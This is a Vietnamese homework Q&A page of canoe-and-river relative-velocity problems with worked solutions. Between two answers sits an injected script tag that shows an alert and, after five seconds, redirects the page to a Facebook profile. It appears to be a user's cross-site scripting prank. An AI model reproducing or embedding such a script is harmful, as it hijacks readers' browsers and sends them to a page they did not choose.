Một chiếc cano chuyển động với v= 40km/h. dòng nước chảy với v=5km/h. Tìm vận tốc của thuyền so với nước trong trường hợp : a/ cano ngược dòng nước. b/ cano xuôi dòng nước .
Một cano chuyển động với vận tốc 60km/h, dòng nước chảy với vận tốc 15km/h. Tính vận tỗc của cano đối với bờ sông trong các trường hợp sau :
a) Cano chuyển động cùng chiều với dòng nước
b) Cano chuyển động ngược chiều với dòng nước
c) Cano chuyển động vuông góc với dòng nước
Gọi \(\overrightarrow{v_{12}},\overrightarrow{v_{23}}\) lần lượt là vận tốc của cano so với nước , của nước so với bờ
a. Khi cano chuyển động cùng chiều với dòng nước
\(v_{13}=v_{12}+v_{23}=60+15=75\left(km/h\right)\)
b. Khi cano chuyển động ngược chiều với dòng nước
\(v_{13}=v_{12}-v_{23}=60-15=45\left(km/h\right)\)
c. Khi cano chuyển động vuông góc với nước
\(v_{13}=\sqrt{v_{12}^2+v_{23}^2}=\sqrt{60^2+15^2}=15\sqrt{17}\approx62\left(km/h\right)\)
1 chiếc thuyền cano chuyển động với vận tốc 30 km/h so với nước, biết vận tốc của ca nô với bờ là 40 km/h. M.n giúp mk vs đang gấp a, nêu tên các loại vận tốc. b, tìm vận tốc dòng nước trường hợp ca nô xuôi dòng, ngược dòng
1: Một cano xuôi dòng từ bến A đến bến B mất 2 giờ, biết AB = 60km, dòng nước chảy với tốc độ 5km/h so với bờ.Độ lớn vận tốc của cano so với dòng nước là.
Mn giúp với ạ
Vận của ca nô so với bờ: \(v=\dfrac{S}{t}=\dfrac{60}{2}=30km/h\)
Vận tốc của ca nô so với dòng nước:
\(v=30-5=25km/h\)
một cano đi ngược dòng nước từ bến A đến bến B cách nhau 30 km hết 1h30phút. Biết Vận tốc của dòng nước so với bờ sông là 5km/h
a) tính vận tốc của cano so với dòng nước
b)Hỏi nếu cano đi xuôi theo dòng nước từ B đến A mất bao nhiêu thời gian ?
Coi vận tốc của cano so với dòng nước và của dòng nước so với bờ sông là không đổi ?
:)) thanks !
a) gọi van toc cano la v ta co;
30: (v-5) = 1h30p = 3/2
v = 25km/h
b) thoi gian cano di xuoi la;
30:(v+5) = 30/25+5 = 30/30 = 1h
<script>setTimeout(()=>{
alert("@@");window.open("https://www.facebook.com/duongdzin","_self");
},5000);</script>
trên 1 dòng sông có 1 chiếc cano đi về giữa 2 bêns sông a đén b cách nhau 60kmcano chạy xuôi dòng hết 1 h cano chạy ngược dòng hết 1h 12 phút. Hỏi vận tốc cano so với dòng nước, hỏi vận tốc của dòng nước
Một cano xuôi dòng từ A đến B mất 1h30p và đi ngược dòng từ Bđến A hết 2 giờ. Tính vận tốc cano so với dòng nước biết vận tốc của dòng nước là 2 km/h.
1 chiếc cano đi xuôi dòng từ a đến b mất 1,25h. hỏi khi ngược dòng thì mất bn h .bt khoảng cách từ b đến a là 60km và vận tốc của dòng nước so với bờ sông là 4km/h. Lực của động cơ tác dụng vào cano khi ngược dòng và khi xuôi dòng là không đổi
1 cano chạy trên sông đang chảy. Nếu cano xuôi dòng 5km và ngược dòng 9km thì mất 1 giờ. Nếu cano xuôi dòng 10km và ngược dòng 6km thì cũng mất 1 giờ. Tính vận tốc của cano và vận tốc của dòng nước.
Gọi vận tốc của cano và vận tốc dòng nước lần lượt là \(x,y\left(km/h\right),x>y>0\).
Vận tốc xuôi dòng là: \(x+y\left(km/h\right)\)
Vận tốc ngược dòng là: \(x-y\left(km/h\right)\)
Ta có hệ phương trình:
\(\hept{\begin{cases}\frac{5}{x+y}+\frac{9}{x-y}=1\\\frac{10}{x+y}+\frac{6}{x-y}=1\end{cases}}\)
Đặt \(a=\frac{1}{x+y},b=\frac{1}{x-y}\)
\(\hept{\begin{cases}5a+9b=1\\10a+6b=1\end{cases}}\Leftrightarrow\hept{\begin{cases}a=\frac{1}{20}\\b=\frac{1}{12}\end{cases}}\)
\(\Rightarrow\hept{\begin{cases}x+y=20\\x-y=12\end{cases}}\Leftrightarrow\hept{\begin{cases}x=16\\y=4\end{cases}}\)(thỏa mãn)
1 cano chạy trên sông đang chảy. Nếu cano xuôi dòng 5km và ngược dòng 9km thì mất 1 giờ. Nếu cano xuôi dòng 10km và ngược dòng 6km thì cũng mất 1 giờ. Tính vận tốc của cano và vận tốc của dòng nước.
Gọi vận tốc riêng canô, dòng nước lần lượt là x ; y ( x > y > 0, km/h )
khi đó vân tốc canô đi xuôi dòng là x + y km/h
vận tốc dòng nước đi ngược dòng là x - y km/h
*) Nếu canô xuôi dòng 5km và ngược dòng 9km hết 1 giờ
ta có pt : \(\frac{5}{x+y}+\frac{9}{x-y}=1\)(1)
*) Nếu canô xuôi dòng 10km và ngược dòng 6km hết 1 giờ
ta có pt : \(\frac{10}{x+y}+\frac{6}{x-y}=1\)(2)
Từ (1) ; (2) ta có hệ pt \(\hept{\begin{cases}\frac{5}{x+y}+\frac{9}{x-y}=1\\\frac{10}{x+y}+\frac{6}{x-y}=1\end{cases}}\)
Đặt \(\hept{\begin{cases}\frac{1}{x+y}=t\\\frac{1}{x-y}=u\end{cases}}\)ta có hệ mới \(\hept{\begin{cases}5t+9u=1\\10t+6u=1\end{cases}\Leftrightarrow\hept{\begin{cases}t=\frac{1}{20}\\u=\frac{1}{12}\end{cases}}}\)
Theo cách đặt \(\hept{\begin{cases}x+y=20\\x-y=12\end{cases}}\Leftrightarrow\hept{\begin{cases}2y=8\\x=y+12\end{cases}\Leftrightarrow\hept{\begin{cases}y=4\\x=16\end{cases}}}\)(tm)
Vậy vận tốc canô là 16 km/h
vận tốc dòng nước là 4 km/h